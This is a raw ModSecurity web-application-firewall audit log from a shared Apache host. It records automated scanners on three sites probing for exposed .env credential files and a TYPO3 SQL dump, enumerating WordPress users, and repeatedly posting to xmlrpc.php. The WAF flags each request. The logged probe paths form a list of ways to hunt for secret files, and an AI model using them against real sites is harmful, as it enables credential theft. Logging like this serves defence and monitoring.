Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/app/.env.example"] [unique_id "aE9lGGYZLqtIztZ_Ow_pngAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033688037373 696119 (- - -) Stopwatch2: 1750033688037373 696119; combined=2262, p1=435, p2=1726, p3=0, p4=0, p5=100, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --97c6a200-Z-- --410c282c-A-- [16/Jun/2025:05:58:12.232927 +0530] aE9lGp_Rv4EBtUyS5c4FYgAAAAU 146.70.194.228 53034 127.0.0.1 7081 --410c282c-B-- GET //wp-json/wp/v2/users/ HTTP/1.0 Host: www.futuronomics.com X-Real-IP: 146.70.194.228 X-Accel-Internal: /internal-nginx-static-location Connection: close Cookie: wpr_guest_token=4c6c7bb743a61fb017aabb2a0ec99a0345859794c285c7325ff3abb156083263 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 --410c282c-F-- HTTP/1.1 401 Unauthorized X-Powered-By: PHP/8.3.22 X-Robots-Tag: noindex Link: <https://www.futuronomics.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type Allow: GET Vary: Origin,Accept-Encoding Connection: close Content-Type: application/json; charset=UTF-8 --410c282c-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.futuronomics.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.futuronomics.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.futuronomics.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE9lGp_Rv4EBtUyS5c4FYgAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/futuronomics.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033690956653 1276348 (- - -) Stopwatch2: 1750033690956653 1276348; combined=155277, p1=444, p2=1811, p3=0, p4=0, p5=76557, sr=129, sw=0, l=0, gc=76465 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --410c282c-Z-- --0bf95d74-A-- [16/Jun/2025:05:58:16.288974 +0530] aE9lH9NEcm-DhAkC0ibcGwAAAAY 128.199.112.101 53270 127.0.0.1 7081 --0bf95d74-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 500 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --0bf95d74-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --0bf95d74-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9lH9NEcm-DhAkC0ibcGwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033695335924 953133 (- - -) Stopwatch2: 1750033695335924 953133; combined=2775, p1=513, p2=1747, p3=54, p4=102, p5=228, sr=143, sw=131, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0bf95d74-Z-- --0a9a7575-A-- [16/Jun/2025:05:58:22.346683 +0530] aE9lJZPBc7qQRvHewCtz1gAAAAA 185.177.72.210 40570 127.0.0.1 7081 --0a9a7575-B-- GET /main/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0a9a7575-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0059fc9e731e686749d3a9104023d3d61750033702; expires=Mon, 16 Jun 2025 01:28:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0a9a7575-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/main/.env"] [unique_id "aE9lJZPBc7qQRvHewCtz1gAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033701684346 662400 (- - -) Stopwatch2: 1750033701684346 662400; combined=1688, p1=401, p2=1188, p3=0, p4=0, p5=99, sr=117, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0a9a7575-Z-- --c3a96a57-A-- [16/Jun/2025:05:58:25.530785 +0530] aE9lKGYZLqtIztZ_Ow_pqQAAAAg 185.177.72.210 40916 127.0.0.1 7081 --c3a96a57-B-- GET /typo3conf/ext/static_info_tables/ext_tables_static+adt.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c3a96a57-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=41832c732c1e03e0e54e35e6fd80b5641750033705; expires=Mon, 16 Jun 2025 01:28:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c3a96a57-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/typo3conf/ext/static_info_tables/ext_tables_static+adt.sql"] [unique_id "aE9lKGYZLqtIztZ_Ow_pqQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033704677517 853332 (- - -) Stopwatch2: 1750033704677517 853332; combined=2007, p1=338, p2=1553, p3=0, p4=0, p5=116, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c3a96a57-Z-- --4699350e-A-- [16/Jun/2025:05:58:41.859909 +0530] aE9lOWYZLqtIztZ_Ow_psAAAAAg 185.177.72.210 37296 127.0.0.1 7081 --4699350e-B-- GET /:8880/.env.local.example HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4699350e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4105226398f7d37a021bffd9f74d0ed31750033721; expires=Mon, 16 Jun 2025 01:28:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4699350e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/.env.local.example"] [unique_id "aE9lOWYZLqtIztZ_Ow_psAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033721155632 704357 (- - -) Stopwatch2: 1750033721155632 704357; combined=1781, p1=425, p2=1262, p3=0, p4=0, p5=94, sr=132, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4699350e-Z-- --a322a241-A-- [16/Jun/2025:05:58:44.800144 +0530] aE9lPJ16HYQp4eDf7R1VUQAAAAI 185.177.72.210 37390 127.0.0.1 7081 --a322a241-B-- GET /testing/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a322a241-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4ef7c6cc83cae082c4a0c6b1e20b7dc31750033724; expires=Mon, 16 Jun 2025 01:28:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a322a241-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/testing/.env"] [unique_id "aE9lPJ16HYQp4eDf7R1VUQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033724139054 661159 (- - -) Stopwatch2: 1750033724139054 661159; combined=1681, p1=318, p2=1248, p3=0, p4=0, p5=115, sr=77, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a322a241-Z-- --78151c72-A-- [16/Jun/2025:05:59:16.200838 +0530] aE9lW_bo0R64L12N_alUqQAAAAQ 128.199.112.101 58536 127.0.0.1 7081 --78151c72-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --78151c72-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --78151c72-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9lW_bo0R64L12N_alUqQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033755271868 929027 (- - -) Stopwatch2: 1750033755271868 929027; combined=2250, p1=335, p2=1500, p3=45, p4=70, p5=186, sr=95, sw=114, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --78151c72-Z-- --a5391c50-A-- [16/Jun/2025:05:59:42.970064 +0530] aE9ldtVsbyFDndheOrk1AQAAAAE 185.177.72.210 43872 127.0.0.1 7081 --a5391c50-B-- GET /services/documents/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a5391c50-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9e7b586b19a808791540bf5d742504701750033782; expires=Mon, 16 Jun 2025 01:29:42 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a5391c50-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/services/documents/.env"] [unique_id "aE9ldtVsbyFDndheOrk1AQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033782257030 713125 (- - -) Stopwatch2: 1750033782257030 713125; combined=2114, p1=411, p2=1596, p3=0, p4=0, p5=107, sr=109, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a5391c50-Z-- --e084f641-A-- [16/Jun/2025:05:59:46.151573 +0530] aE9leZ16HYQp4eDf7R1VbgAAAAI 185.177.72.210 44034 127.0.0.1 7081 --e084f641-B-- GET /:8880/wp-content/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e084f641-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=cc3f184ddbc6e6b4020825211e2626f31750033785; expires=Mon, 16 Jun 2025 01:29:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e084f641-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/wp-content/.env"] [unique_id "aE9leZ16HYQp4eDf7R1VbgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033785446644 704992 (- - -) Stopwatch2: 1750033785446644 704992; combined=1741, p1=379, p2=1268, p3=0, p4=0, p5=94, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e084f641-Z-- --54199438-A-- [16/Jun/2025:06:00:16.345493 +0530] aE9ll9NEcm-DhAkC0ibcWwAAAAY 128.199.112.101 47080 127.0.0.1 7081 --54199438-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --54199438-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --54199438-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9ll9NEcm-DhAkC0ibcWwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033815372661 972918 (- - -) Stopwatch2: 1750033815372661 972918; combined=2490, p1=393, p2=1671, p3=42, p4=66, p5=213, sr=100, sw=105, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --54199438-Z-- --fa105c1b-A-- [16/Jun/2025:06:00:38.913679 +0530] aE9lrtVsbyFDndheOrk1FwAAAAE 185.177.72.210 43310 127.0.0.1 7081 --fa105c1b-B-- GET /laravel/core/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fa105c1b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f0f4b020e1031af1ebfaae7d70a093fc1750033838; expires=Mon, 16 Jun 2025 01:30:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fa105c1b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/laravel/core/.env.staging"] [unique_id "aE9lrtVsbyFDndheOrk1FwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033838150839 762905 (- - -) Stopwatch2: 1750033838150839 762905; combined=2126, p1=409, p2=1616, p3=0, p4=0, p5=100, sr=98, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fa105c1b-Z-- --2d2c1c6c-A-- [16/Jun/2025:06:00:40.336053 +0530] aE9lrw9THibLN0xLxETwQgAAAAk 185.177.72.210 41360 127.0.0.1 7081 --2d2c1c6c-B-- GET /:10000/local/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2d2c1c6c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8eae3b2f06137145cf138725156182b61750033840; expires=Mon, 16 Jun 2025 01:30:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2d2c1c6c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/local/.env"] [unique_id "aE9lrw9THibLN0xLxETwQgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033839633405 702713 (- - -) Stopwatch2: 1750033839633405 702713; combined=2081, p1=442, p2=1537, p3=0, p4=0, p5=101, sr=126, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2d2c1c6c-Z-- --120bc063-A-- [16/Jun/2025:06:00:43.776259 +0530] aE9ls2YZLqtIztZ_Ow_p5AAAAAg 185.177.72.210 41506 127.0.0.1 7081 --120bc063-B-- GET /:10000/.env.save.1 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --120bc063-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f108f5011b88e34586fde71c37cc771f1750033843; expires=Mon, 16 Jun 2025 01:30:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --120bc063-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/.env.save.1"] [unique_id "aE9ls2YZLqtIztZ_Ow_p5AAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033843079578 696743 (- - -) Stopwatch2: 1750033843079578 696743; combined=2479, p1=493, p2=1890, p3=0, p4=0, p5=95, sr=125, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --120bc063-Z-- --b278e501-A-- 